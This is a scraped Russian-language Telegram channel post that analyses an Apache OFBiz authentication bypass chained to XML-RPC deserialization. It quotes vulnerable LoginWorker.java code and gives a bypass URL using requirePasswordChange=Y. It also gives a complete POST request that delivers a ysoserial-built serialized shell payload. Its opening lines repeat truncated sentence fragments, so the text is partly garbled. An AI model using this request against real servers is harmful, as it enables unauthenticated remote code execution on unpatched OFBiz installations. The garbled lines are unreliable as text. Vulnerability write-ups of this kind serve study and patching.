SHADOW:Group
Переслано от канала
Oh yes, ping pong
Под конец прошлого года, прошла шумиха с Apache Ofbiz, который позволял сделать байпас аутентификации и проабьюзать
Суть заключается в том, что
Тут все начинается с
Дальше идем в
Т.е по факту, мы тупо можем обойти проверку, путем вставки любого символа ему, и плюс
Поэтому мы можем дергать ручки
А через серелиализацию, мы передаем наш шелл, который можно сделать через ysoserial
Под конец прошлого года, прошла шумиха с Apache Ofbiz, который позволял сделать байпас аутентификации и проабьюзать
XML-RPC. Решил глянуть, что это было и как оно происходит Суть заключается в том, что
XML-RPC, по логике можно использовать только с валидными кредами, но глянем на сам момент аутентификации юзера в LoginWorker.java List<String> unpwErrMsgList = new LinkedList<String>();
if (UtilValidate.isEmpty(username)) {
unpwErrMsgList.add(UtilProperties.getMessage(resourceWebapp, "loginevents.username_was_empty_reenter", UtilHttp.getLocale(request)));
}
if (UtilValidate.isEmpty(password) && UtilValidate.isEmpty(token)) {
unpwErrMsgList.add(UtilProperties.getMessage(resourceWebapp, "loginevents.password_was_empty_reenter", UtilHttp.getLocale(request)));
}
boolean requirePasswordChange = "Y".equals(request.getParameter("requirePasswordChange"));
if (!unpwErrMsgList.isEmpty()) {
request.setAttribute("_ERROR_MESSAGE_LIST_", unpwErrMsgList);
return requirePasswordChange ? "requirePasswordChange" : "error";
}Тут все начинается с
requirePasswordChange, который не обращает внимание на то, введет ли юзер валидные креды. Если юзер в качестве параметра отдает Y, то метод login(HttpServletRequest request, HttpServletResponse response) вернет строку requirePasswordChangeДальше идем в
checkLogin() и там уже идет следующий моментif (username == null
|| (password == null && token == null)
|| "error".equals(login(request, response)))Т.е по факту, мы тупо можем обойти проверку, путем вставки любого символа ему, и плюс
"error".equals(login(request, response)) не будет срабатывать, т.к мы заставили login(...) вернуть requirePasswordChangeПоэтому мы можем дергать ручки
XML-RPC/webtools/control/ping?USERNAME=&PASSWORD=s&requirePasswordChange=YА через серелиализацию, мы передаем наш шелл, который можно сделать через ysoserial
POST /webtools/control/xmlrpc/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
Host: localhost:8443
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Content-Length: 4002
Content-Type: application/xml
<?xml version="1.0"?>
<methodCall>
<methodName>Methodname</methodName>
<params>
<param>
<value>
<struct>
<member>
<name>test</name>
<value>
<serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">serialized_shell</serializable>
</value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>
🔥 28
👍 4
🤔 2
2 40 4.1K
Обсуждение 2
Обсуждение не доступно в веб-версии. Чтобы написать комментарий, перейдите в приложение Telegram.
Обсудить в Telegram